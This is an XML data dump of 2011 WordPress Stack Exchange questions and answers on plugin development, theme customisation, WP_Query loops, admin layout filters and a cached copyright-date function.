  <row Id="14472" PostTypeId="1" CreationDate="2011-04-11T10:28:47.770" Score="0" ViewCount="110" Body="&lt;p&gt;WP-United could be dead.&#xA;&lt;a href=&quot;http://www.wp-united.com/&quot; rel=&quot;nofollow&quot;&gt;Website&lt;/a&gt; has been mainly down for last 4mths.&#xA;Not answering his facebook &lt;a href=&quot;http://www.facebook.com/pages/WP-United/228342592390&quot; rel=&quot;nofollow&quot;&gt;fan page.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at google caches of his website, I understand one of its features is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;you can also choose to have phpBB&#xA;  appear inside a WordPress page!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hence, I am &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14233/embed-phpbb-within-wordpress&quot;&gt;looking&lt;/a&gt; on &lt;a href=&quot;http://startrekguide.com/community/viewtopic.php?f=133&amp;amp;t=14984&amp;amp;p=127652#p127652&quot; rel=&quot;nofollow&quot;&gt;how to&lt;/a&gt; make my phpBB install appear the same as my WP theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Q - Does anyone know if the above quoted capability works?  And if so, where to download a recent + safe version of WP-United?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at a cache of the authors blog, sounded like he was planning to turn WP-United into a WP-plugin, as opposed to a phpBB plugin.   Hope he keeps this project going.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-11T10:28:47.770" Title="WP-United - will it let me 'embed' phpBB within WP?" Tags="&lt;plugin-recommendation&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="14473" PostTypeId="1" AcceptedAnswerId="14495" CreationDate="2011-04-11T10:57:45.270" Score="3" ViewCount="135" Body="&lt;p&gt;Anyone who has experience in building wordpress plugin using eclipse PDT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My situation is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I need to build plugin that extend another plugin (look at it as premium version from another plugin)&lt;/li&gt;&#xA;&lt;li&gt;I already created project &lt;code&gt;plugin core&lt;/code&gt;(the original plugin) by importing from svn repository&lt;/li&gt;&#xA;&lt;li&gt;I created eclipse library called &lt;code&gt;wordpress&lt;/code&gt; and added it to &lt;code&gt;plugin core&lt;/code&gt; project.&lt;/li&gt;&#xA;&lt;li&gt;I created another project &lt;code&gt;plugin extender&lt;/code&gt; which will host scripts I created.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem is, how to easily test it to wordpress, without having to manually copy-paste those project to &lt;code&gt;wp-content/plugins&lt;/code&gt;? Is there anyway to automatically copy those files to &lt;code&gt;wp-content/plugins&lt;/code&gt;? Or, do you guys have another solutions to this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, I'm working on windows 7. I'm aware of windows's &lt;code&gt;mklink&lt;/code&gt;. However, my htdocs in on FAT32 partition and I'm in situation where I have to use Windows in the following months.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2011-04-11T16:23:51.807" Title="Strategy On Building Plugin Using Eclipse" Tags="&lt;plugin-development&gt;&lt;eclipse&gt;&lt;development-strategy&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="14474" PostTypeId="2" ParentId="14396" CreationDate="2011-04-11T11:06:11.257" Score="2" ViewCount="" Body="&lt;p&gt;All you need is a simple query and to iterate over that query a couple of times so you can build the two required lists. &lt;code&gt;WP_Query&lt;/code&gt; has a convenient method for resetting the pointer in the posts array, so you can loop over it again, called &lt;code&gt;rewind_posts&lt;/code&gt; though i believe inside custom loops you have to reference the method directly..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, here's the kind of thing you're looking for, simply make adjustments as necessary..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;    $featured = new WP_Query;&#xA;    $featured-&amp;gt;query( array( &#xA;        'meta_query'  =&amp;gt; array( &#xA;            array(&#xA;                'key'     =&amp;gt; 'myslider_show_post_slider',&#xA;                'value'   =&amp;gt; array('on','1'),&#xA;                'compare' =&amp;gt; 'IN',&#xA;                'type'    =&amp;gt; 'CHAR',&#xA;            )&#xA;        ),&#xA;        'post_type'       =&amp;gt; 'post',&#xA;        'post_status'     =&amp;gt; 'publish',&#xA;        'ignore_sticky_posts' =&amp;gt; '1',&#xA;        'posts_per_page' =&amp;gt; '7' //The number of post in the slider.&#xA;    ) );&#xA;    if( $featured-&amp;gt;have_posts() ) :&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;main-wapper&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        while( $featured-&amp;gt;have_posts() ) : $featured-&amp;gt;the_post();&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail(); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;main-item-desc&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;Where's this description suppose to be coming from?&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        endwhile;&#xA;        $featured-&amp;gt;rewind_posts();&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;navigator-outer&quot;&amp;gt;&#xA;        &amp;lt;ul class=&quot;navigator&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        while( $featured-&amp;gt;have_posts() ) : $featured-&amp;gt;the_post();&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;div&amp;gt;&#xA;                 &amp;lt;?php the_post_thumbnail('Slider'); ?&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;&amp;lt;?php the_time( 'd.m.Y' ); ?&amp;gt;&amp;lt;/span&amp;gt; | &amp;lt;span class=&quot;category&quot;&amp;gt;&amp;lt;?php the_category(','); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php&#xA;        endwhile;&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    endif; &#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly, there was a stray closing DIV in the HTML you posted, so i simply removed that from the code above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, the checkbox does not have a value specified, in such cases a checkbox isn't given a specific value, the browser assigns the checkbox one, i'm not sure whether there's a common value that all browsers will use, but Firefox produces the value &lt;code&gt;on&lt;/code&gt;, but i accounted for the possibility that the browser may assign a value of &lt;code&gt;1&lt;/code&gt;, ideally the checkbox should be given a implicit value to ensure consistent behaviour, eg..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;input type=&quot;checkbox&quot; value=&quot;1&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot;', $meta ? ' checked=&quot;checked&quot;' : '', ' /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any questions, lemme know..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="3022" LastEditorDisplayName="" LastEditDate="2011-04-12T09:30:26.687" LastActivityDate="2011-04-12T09:30:26.687" CommentCount="3" />
  <row Id="14475" PostTypeId="2" ParentId="14465" CreationDate="2011-04-11T11:37:20.483" Score="1" ViewCount="" Body="&lt;p&gt;A lot of people start right in with modifying the twenty ten theme that comes with WordPress.... so let me start right out by pointing out that should never be done.&#xA;&lt;a href=&quot;http://go.rvoodoo.com/WPchild&quot; rel=&quot;nofollow&quot;&gt;http://go.rvoodoo.com/WPchild&lt;/a&gt;&lt;br&gt;&#xA;is my write-up about child themes. Child themes are used to modify existing themes. They are important for the twenty ten theme because twenty ten gets upgraded when WordPress does, so if you modify twenty ten without using a child theme, your changes will get lost. Other themes also frequently get upgraded, so same point, if the theme gets upgraded and you didn't use a child theme, you will lose your changes. So unless making your own new theme, always consider a child theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, maybe check out my site at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://voodoopress.com&quot; rel=&quot;nofollow&quot;&gt;http://voodoopress.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of neat tips and tricks for themes there (especially child themes) to get you started&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-11T11:37:20.483" />
  <row Id="14476" PostTypeId="2" ParentId="7901" CreationDate="2011-04-11T11:39:55.390" Score="1" ViewCount="" Body="&lt;p&gt;I am also having this issue, haven't found any solutions for it, apart from just plain 'ol removing the placeholder attribute : / it seems to occur in any browser. I am using a JavaScript fallback for browsers that dont support the placeholder attrib, but with or without it, wordpress seems to pick up the placeholder text as the value for the input.&lt;/p&gt;&#xA;" OwnerUserId="4586" LastActivityDate="2011-04-11T11:39:55.390" CommentCount="1" />
  <row Id="14477" PostTypeId="1" AcceptedAnswerId="14478" CreationDate="2011-04-11T12:05:54.263" Score="1" ViewCount="144" Body="&lt;p&gt;Is it possible to clone the plugins and settings from a WordPress site to a new fresh install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want any of the content from the original site I just want all the plugins used and their settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just ftp'ing the plugins into the new install doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really important that all the settings are saved from the one site to the other as this will save a huge amount of time.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T07:56:47.550" LastActivityDate="2011-05-10T07:56:47.550" Title="Clone plugins (and settings) to new installation?" Tags="&lt;settings&gt;&lt;staging&gt;&lt;deployment&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="14478" PostTypeId="2" ParentId="14477" CreationDate="2011-04-11T12:33:54.100" Score="0" ViewCount="" Body="&lt;p&gt;Usually blog settings, sidebars and plugins option are located in wp_options table. If you copy whole table except option_name IN ( 'siteurl', 'home' ), You get whole &quot;old&quot; configuration.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-04-11T12:33:54.100" CommentCount="6" />
  <row Id="14479" PostTypeId="2" ParentId="14469" CreationDate="2011-04-11T13:02:59.670" Score="2" ViewCount="" Body="&lt;p&gt;Managed to crawl through the core code and find this function: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bp_core_remove_subnav_item&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_group_options() {&#xA;    global $bp;&#xA;&#xA;    bp_core_remove_subnav_item($bp-&amp;gt;groups-&amp;gt;slug, 'members');&#xA;    bp_core_remove_subnav_item($bp-&amp;gt;groups-&amp;gt;slug, 'send-invites');&#xA;&#xA;}&#xA;add_action( 'bp_setup_nav', 'remove_group_options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-11T13:02:59.670" />
  <row Id="14481" PostTypeId="1" CreationDate="2011-04-11T13:33:09.427" Score="0" ViewCount="95" Body="&lt;p&gt;This function works to force wordpress only show 1 column in wordpress admin panel. But it only works for posts. I need it to work for pages as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to do that?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;function so_screen_layout_columns(&#xA;  $columns ) {&#xA;      $columns['post'] = 1;&#xA;      return $columns; } add_filter( 'screen_layout_columns',&#xA;  'so_screen_layout_columns' );&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;function so_screen_layout_post() {&#xA;      return 1; } add_filter( 'get_user_option_screen_layout_post',&#xA;  'so_screen_layout_post' );&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4554" LastActivityDate="2011-04-11T13:33:09.427" Title="Force 1 column in wordpress admin panel for pages" Tags="&lt;3.0&gt;&lt;wp-admin&gt;&lt;page&gt;&lt;columns&gt;" CommentCount="1" />
  <row Id="14483" PostTypeId="1" CreationDate="2011-04-11T13:38:32.577" Score="0" ViewCount="56" Body="&lt;p&gt;I have some blogs on wordpress.com. I want to make them wonderful and look awesome.please let me know the techniques ...&lt;/p&gt;&#xA;" OwnerUserId="4570" LastActivityDate="2011-04-11T18:11:28.850" Title="Designing Wonderful Wordpress.com sites hosted on wordpress?" Tags="&lt;wordpress.com&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14484" PostTypeId="1" AcceptedAnswerId="14496" CreationDate="2011-04-11T14:40:37.150" Score="0" ViewCount="122" Body="&lt;p&gt;I recently published &lt;a href=&quot;http://cocos2dpodcast.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;a podcast&lt;/a&gt; hosted on WordPress.com &lt;a href=&quot;http://itunes.apple.com/be/podcast/cocos2d-podcast/id430336625&quot; rel=&quot;nofollow&quot;&gt;on iTunes&lt;/a&gt; and it says &quot;Podcasts by Unknown&quot;. It seems like it is missing the author tag. My question is that how can I add the author tag to the RSS since I used the RSS widget to expose my RSS?&lt;/p&gt;&#xA;" OwnerUserId="4592" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-11T16:31:13.493" LastActivityDate="2011-04-11T16:40:28.543" Title="WordPress.com podcast feed missing iTunes tags?" Tags="&lt;wordpress.com&gt;&lt;podcasting&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14485" PostTypeId="1" CreationDate="2011-04-11T14:42:48.467" Score="0" ViewCount="40" Body="&lt;p&gt;I'm using the following code branch to execute some theme setup options...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myTheme_initialized = get_option('myTheme_initialized');&#xA;if (is_admin() &amp;amp;&amp;amp; !$myTheme_initialized &amp;amp;&amp;amp; isset($_GET['activated'] ) ) {&#xA;//do setup stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What hook can I tap into when the theme is deactivated?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-11T15:01:32.397" Title="How to determine when my theme is deactivated?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="14486" PostTypeId="2" ParentId="14485" CreationDate="2011-04-11T15:01:32.397" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/#&quot; rel=&quot;nofollow&quot;&gt;http://www.krishnakantsharma.com/2011/01/activationdeactivation-hook-for-wordpress-theme/#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty good writeup for activation and deactivation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing is here on SE&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6248/theme-activate-hook&quot;&gt;Theme Activate Hook&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-11T15:01:32.397" />
  <row Id="14487" PostTypeId="2" ParentId="13043" CreationDate="2011-04-11T15:02:28.903" Score="1" ViewCount="" Body="&lt;p&gt;Are you just referring to the background image that is used for links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://svn.wp-plugins.org/flattr/trunk/tabber.css&quot; rel=&quot;nofollow&quot;&gt;http://svn.wp-plugins.org/flattr/trunk/tabber.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul.tabbernav li a&#xA;{&#xA; padding: 12px;&#xA; margin-left: 0px;&#xA; border-bottom: none;&#xA; background-color: #78A931;&#xA; background-image: url(https://flattr.com/_img/fluff/bg-boxlinks-green.png);&#xA; color: #fff;&#xA; border-left: 1px solid #7a3;&#xA; text-decoration: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way that particular request to the flattr.com server isn't going to happen is if you modify the plugin's stylesheet directly, ie. &lt;code&gt;wp-content/plugins/flattr/tabber.css&lt;/code&gt; and adjust the CSS posted above.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-11T15:02:28.903" />
  <row Id="14488" PostTypeId="2" ParentId="11398" CreationDate="2011-04-11T15:14:46.057" Score="0" ViewCount="" Body="&lt;p&gt;Is javascript working &lt;em&gt;anywhere&lt;/em&gt; in the back-end? i.e. is javascript working on your Dashboard? In the edit screens for other post-types (e.g. Pages)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If javascript is &lt;em&gt;not&lt;/em&gt; working &lt;em&gt;anywhere&lt;/em&gt; in your back-end, try adding the following to wp-config.php, right after your database configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('CONCATENATE_SCRIPTS', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to fix some pesky javascript issues on the back-end, especially if you're getting conflicts with other script minimization functionality (e.g. via caching plugins, or a proxy/CDN service).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-11T15:14:46.057" />
  <row Id="14489" PostTypeId="2" ParentId="11398" CreationDate="2011-04-11T15:17:10.597" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest disabling script concatenation and/or compression to see if that helps. You can do this by adding the following to the &lt;code&gt;wp-config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'CONCATENATE_SCRIPTS', false );&#xA;define( 'COMPRESS_SCRIPTS', false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And maybe even script debugging to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'SCRIPT_DEBUG', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are you using any caching plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br&gt;&#xA;The most common reason for seeing that message seems to be running an older version of jQuery, ie. anything lower than 1.4.2 ... do you have any plugins that load jQuery?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-03T12:28:25.980" LastActivityDate="2011-07-03T12:28:25.980" />
  <row Id="14490" PostTypeId="1" CreationDate="2011-04-11T15:26:20.840" Score="0" ViewCount="62" Body="&lt;p&gt;I am using these two functions to force wordpress admin panel to only show one column in &quot;edit-page-page&quot;. The problem is that it will hide the boxes that are in column 2. How can I make a function that puts all the boxes in the first column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function for all new users is good enough.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function one_column_for_pages1( $columns ) {&#xA;$columns['page'] = 1;&#xA;return $columns;&#xA;}&#xA;add_filter( 'screen_layout_columns', 'one_column_for_pages1' );&#xA;&#xA;function one_column_for_pages2() {&#xA;return 1;&#xA;}&#xA;add_filter( 'get_user_option_screen_layout_page', 'one_column_for_pages2' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="4554" LastActivityDate="2011-08-13T02:59:32.737" Title="Problem with admin panel when 1 column is forced" Tags="&lt;wp-admin&gt;&lt;filters&gt;&lt;columns&gt;" AnswerCount="0" />
  <row Id="14491" PostTypeId="2" ParentId="14421" CreationDate="2011-04-11T15:32:15.067" Score="2" ViewCount="" Body="&lt;p&gt;Can you not simply add an &lt;code&gt;or&lt;/code&gt; into your conditional logic?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $current_user-&amp;gt;user_login == 'user1' || $current_user-&amp;gt;user_login == 'user2' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or even better just use an array, so it's easier to update..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the &lt;code&gt;if&lt;/code&gt; line mentioned above..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_menu_remove_users = array( 'user1', 'user2' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then replace the existing if condition with..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( in_array( $current_user-&amp;gt;user_login, $_menu_remove_users ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then update the array as needed without needing to rewrite your conditional logic.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-11T15:32:15.067" CommentCount="1" />
  <row Id="14492" PostTypeId="1" AcceptedAnswerId="14494" CreationDate="2011-04-11T15:32:47.253" Score="2" ViewCount="102" Body="&lt;p&gt;I'd like to find an optimized, WP_Query-safe method for generating a dynamically-populated copyright statement for the bottom of my themes. That is to say, I'd like to check the date (by year) of my oldest and newest posts and then output something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[blog name] &amp;amp;copy; [oldest post year]-[newest post year] [primary blog author]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the easiest/safest way to do so? &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-22T17:00:20.027" Title="How do I create a dynamically-updated copyright statement?" Tags="&lt;date-time&gt;&lt;copyright&gt;&lt;bloginfo&gt;" AnswerCount="1" />
  <row Id="14493" PostTypeId="1" CreationDate="2011-04-11T15:35:03.160" Score="3" ViewCount="82" Body="&lt;p&gt;I have over 400 interviews on my site and my audience keeps asking me for a way to sort through them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have time to tag all 400 interviews. Do you think there's a way for my audience to tag interviews themselves?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-04-11T19:23:15.977" Title="How can I let my audience tag my posts?" Tags="&lt;tags&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="14494" PostTypeId="2" ParentId="14492" CreationDate="2011-04-11T15:42:21.800" Score="2" ViewCount="" Body="&lt;p&gt;Here's what I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_copyright() {&#xA;    global $wpdb;&#xA;    $copyright_dates = $wpdb-&amp;gt;get_results(&quot;&#xA;        SELECT&#xA;            YEAR(min(post_date_gmt)) AS firstdate,&#xA;            YEAR(max(post_date_gmt)) AS lastdate&#xA;        FROM&#xA;            $wpdb-&amp;gt;posts&#xA;        WHERE&#xA;            post_status = 'publish'&#xA;    &quot;);&#xA;    $output = '';&#xA;    if($copyright_dates) {&#xA;        $copyright = &quot;&amp;amp;copy; &quot; . $copyright_dates[0]-&amp;gt;firstdate;&#xA;            if($copyright_dates[0]-&amp;gt;firstdate != $copyright_dates[0]-&amp;gt;lastdate) {&#xA;                $copyright .= '-' . $copyright_dates[0]-&amp;gt;lastdate;&#xA;            }&#xA;        $output = $copyright;&#xA;    }&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, if there's a cleaner, safer, or more efficient method, I'd love to hear about it, too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a more cleaned-up version, that adds the copyright dates to wp_cache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function oenology_copyright() {&#xA;    // check for cached values for copyright dates&#xA;    $copyright_cache = wp_cache_get( 'copyright_dates', 'oenology' );&#xA;    // query the database for first/last copyright dates, if no cache exists&#xA;    if ( false === $copyright_cache ) { &#xA;        global $wpdb;&#xA;        $copyright_dates = $wpdb-&amp;gt;get_results(&quot;&#xA;            SELECT&#xA;            YEAR(min(post_date_gmt)) AS firstdate,&#xA;            YEAR(max(post_date_gmt)) AS lastdate&#xA;            FROM&#xA;            $wpdb-&amp;gt;posts&#xA;            WHERE&#xA;            post_status = 'publish'&#xA;        &quot;);&#xA;        $copyright_cache = $copyright_dates;&#xA;        // add the first/last copyright dates to the cache&#xA;        wp_cache_set( 'copyright_dates', $copyright_cache, 'oenology', '604800' );&#xA;    }&#xA;    // Build the copyright notice, based on cached date values&#xA;    $output = '&amp;amp;copy; ';&#xA;    if( $copyright_cache ) {&#xA;        $copyright = $copyright_cache[0]-&amp;gt;firstdate;&#xA;        if( $copyright_cache[0]-&amp;gt;firstdate != $copyright_cache[0]-&amp;gt;lastdate ) {&#xA;            $copyright .= '-' . $copyright_cache[0]-&amp;gt;lastdate;&#xA;        }&#xA;        $output .= $copyright;&#xA;    } else {&#xA;        $output .= date( 'Y' );&#xA;    }&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would this improve performance a bit?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-22T17:00:20.027" LastActivityDate="2011-04-22T17:00:20.027" CommentCount="3" />
  <row Id="14495" PostTypeId="2" ParentId="14473" CreationDate="2011-04-11T16:23:51.807" Score="5" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create WordPress as a project. I have several such projects, trunk, old versions … for the following, I just use a project named &lt;strong&gt;WP Latest Final&lt;/strong&gt;.&#xA;You can use the standard installation with &lt;code&gt;/wp-content/plugins&lt;/code&gt;. I put my &lt;code&gt;wp-content&lt;/code&gt; directory in a Dropbox and &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content&quot; rel=&quot;nofollow&quot;&gt;tell WP via wp-config.php&lt;/a&gt; where to search for it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new PHP project for each of your plugins. Use &lt;strong&gt;Create project from existing source&lt;/strong&gt; and point to the plugin directory in &lt;code&gt;/wp-content/plugins&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Z4nJW.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Next&lt;/strong&gt; in the project wizard, and go to the &lt;strong&gt;Projects&lt;/strong&gt; tab. Choose &lt;strong&gt;Add … WP Latest Final&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NksES.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Access Rules&lt;/strong&gt; and exclude &lt;code&gt;wp-admin/load-scripts.php&lt;/code&gt; and &lt;code&gt;wp-admin/load-styles.php&lt;/code&gt;. &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre#WordPress_Eclipse_1x1&quot; rel=&quot;nofollow&quot;&gt;Hat tip&lt;/a&gt; to &lt;a href=&quot;http://wordpress.stackexchange.com/users/178/hakre&quot;&gt;@hakre&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/HZ0nu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add more projects as you need, other plugins, theme projects etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Finish&lt;/strong&gt;. Done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have installed &lt;a href=&quot;http://eclipse.org/egit/&quot; rel=&quot;nofollow&quot;&gt;Egit&lt;/a&gt;, you probably want to create a new Git project now to get independent from Eclipse’s history tracking.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-11T16:23:51.807" CommentCount="3" />
